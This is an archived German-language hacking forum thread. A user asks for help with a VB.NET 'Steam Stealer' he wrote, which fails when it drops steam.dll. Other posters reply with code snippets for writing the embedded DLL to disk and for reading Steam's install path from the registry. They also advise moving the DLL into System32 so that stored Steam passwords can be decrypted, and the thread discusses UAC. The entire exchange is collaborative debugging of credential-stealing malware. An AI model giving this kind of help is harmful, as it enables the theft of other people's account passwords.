Archiv verlassen und diese Seite im Standarddesign anzeigen : [VB.NET] Dll nach Droppen immer Kaputt
hackerking
07.06.2009, 19:02
Jo Hey Leute..
Also. Ich habe nen Steam Stealer geschrieben. Der soll auch die steam.dll droppen. jedoch schrottet er sie wohl anscheinend immer beim droppen...
denn wenn ich die steam.dll manuell rein kopieren und den stealer starte funktioniert alles. wenn ich jedoch mit dem stealer die dll droppe, dann krieg ich den fehler:
Es wurde versucht, eine Datei mit einem falschen Format zu laden. (Ausnahme von HRESULT: 0x8007000B)Mein Code sieht so aus (zum droppen):
If File.Exists(StartupPath.ToString & "\Steam.dll") Then Kill(StartupPath.ToString & "\Steam.dll")
Dim SteamDll() As Byte = My.Resources.Steam
FileOpen(1, StartupPath.ToString & "\Steam.dll", OpenMode.Binary)
FilePutObject(1, SteamDll)
FileClose(1)
blog.mstern.at/index.php?/archives/67-Error-HRESULT-0x8007000B-loading-a-precompiled-dll.html (http://blog.mstern.at/index.php?/archives/67-Error-HRESULT-0x8007000B-loading-a-precompiled-dll.html)
hackerking
07.06.2009, 19:21
Ich bneuze aber 32 Bit... Und die dll ist auch 32 Bit
Kaspersky
07.06.2009, 21:12
Entpack die dll mal so:
IO.File.WriteAllBytes("Steam.dll", My.Resources.SteamDll)
Wenn es das ist was du willst.
probier mal so:
Dim writedll As New IO.BinaryWriter(New IO.FileStream("steam.dll", IO.FileMode.Create)
writedll.Write(My.Resources.steam)
writedll.Close()
hackerking
12.06.2009, 18:28
ok danke, aber bei euren beiden methoden klappt es nie beim debuggne. erst wenn ich die exe manuell starte...
Hm also das einzige was ich noch wüsste wäre das du mal versuchen solltest die steam.dll in den System32 Ordner zu entpacken.Wirst du eh müssen , da es sonst meines Wissens nach nicht gehen wird ;)
hackerking
13.06.2009, 19:11
Doch es geht auch wenn die dll im selben ordner is :P
ausserdem würd ich das mit dem sys32 folder eh nich machen, weil wenn vista etc: fail. ausserdem klappt es dort auch nich :D
Warum die dll Droppen ? setze doch den Pfad zur dll im StreamVerzeichniss , das müsste eigentlich funktionieren
MfG
hackerking
13.06.2009, 20:55
Wo ist das StreamVerzeichniss?^^
Wo ist das StreamVerzeichniss?^^
Lese es einfach aus der Registry , ist die beste möglichkeit
Dim SteamPfad As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Valve\Steam", "InstallPath", String.Empty)
MfG
hackerking
14.06.2009, 11:54
du hast StReamVerzeichniss gesagt deswegen hab ich gefragt xD^^
Wo das Steam verzeichniss ohne R ist weiß ich auch^^ also wie ich's auslesen kann
Und dann verschiebe die dll aus dem steamverzeichniss in den system32 ordner.
Warum soll er nicht einfach die dll im Steamverzeichnis benutzen? Warum verschieben?
Weil sonst das PW nicht entschlüsselt wird.
hackerking
14.06.2009, 12:29
@inmate
habs probiert mit dem verschieben, jedoch krieg ich dann beim Debuggen den error das die steam.dll nicht vorhanden ist (obwohl sie da ist, und hab auch danach ein DoEvents drin), und ausserhalb der IDE sagt der stealer einfach das er das passwort nich entschjlüsseln konnte :(
Hm genau das passiert nämlich wenn die Steam.dll nicht im system32 Ordner ist.
Klappt es denn wenn du die steam.dll manuel verschiebst ?
edit: ich weis was falsch ist glaube ich.
Du rufst die Funktion ja zuerst auf also Steamdecryptdataforthismachine oder so^^.
Zu der Zeit befindet sich aber noch garkeine Steam.dll im Ordner oder ?
Mache doch ne move sub und rufe sie direkt am anfang auf.
vllt gehts dann.
mfG
hackerking
14.06.2009, 14:03
das ich sie nich ins sys32 ordner packen will liegt ja an UAC...
wenn ich sie manuell verschiebe klappt es. ja...
EDIT// Wie meinst das im EDIT?
Also die Funktion braucht die steam.dll im System32 Ordner.
Zu dem Zeitpunkt liegt sie aber noch nicht dort.
Sie wird ja erst später verschoben.
Deswegen kommt ne Fehlermeldung das ,das PW nicht entschlüsselt werden konnte.
Denke ich.
mfG
die DLL braucht nur im selben Ordner wie die Exe zu sein. Reihenfolge der DLL Suche: aktueller Ordner, danach die Ordner, die in der Umgebungsvariable PATH eingetragen sind (kann jeder selbt nachsehen: in der CMD einfach PATH eingeben).
hackerking
14.06.2009, 15:26
Das Problem ist ja das es bei beiden ordnern nicht klappt. (also sys32 und im selben ordner) im sys32 ordner klappts. jedoch nicht in der IDE... ich muss aber wegen UAC die in denselben ordner packen...
Powered by vBulletin® Copyright ©2024 Adduco Digital e.K. und vBulletin Solutions, Inc. Alle Rechte vorbehalten.